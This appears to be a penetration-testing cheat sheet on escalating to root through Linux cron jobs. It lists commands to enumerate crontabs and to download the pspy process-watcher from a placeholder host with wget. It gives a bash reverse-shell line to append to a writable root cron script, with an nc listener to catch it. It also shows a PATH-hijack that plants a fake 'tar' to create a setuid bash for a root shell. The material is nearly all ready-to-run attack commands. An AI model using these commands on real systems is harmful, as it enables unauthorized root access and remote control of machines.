Cron Job Exploitation

reference 14 commands

Detection

Static crontab files

cat /etc/crontab

cat /etc/cron.d/*

ls /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

crontab -l              # Current user's crontab

crontab -l -u root      # Root's crontab (if readable)

Dynamic · pspy (watches process creation without root)

wget http://<YOUR-IP>/pspy64 -O /tmp/pspy64

chmod +x /tmp/pspy64

/tmp/pspy64             # Watch for cron processes · wait 2-3 minutes

Writable Script Abuse

Crontab shows: */1 * * * * root /opt/backup.sh

ls -la /opt/backup.sh    # Check if writable

It is writable · inject reverse shell

echo 'bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1' >> /opt/backup.sh

Wait for the next execution → catch on nc -lvnp 4444

PATH Hijacking in Cron

Crontab line: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

Script runs: tar czf /tmp/backup.tar.gz /home/user

"tar" is called without full path AND /home/user is first in PATH

Create malicious tar in /home/user

echo '#!/bin/bash' > /home/user/tar

echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /home/user/tar

chmod +x /home/user/tar

Wait for cron to run

/tmp/bash -p    # Root shell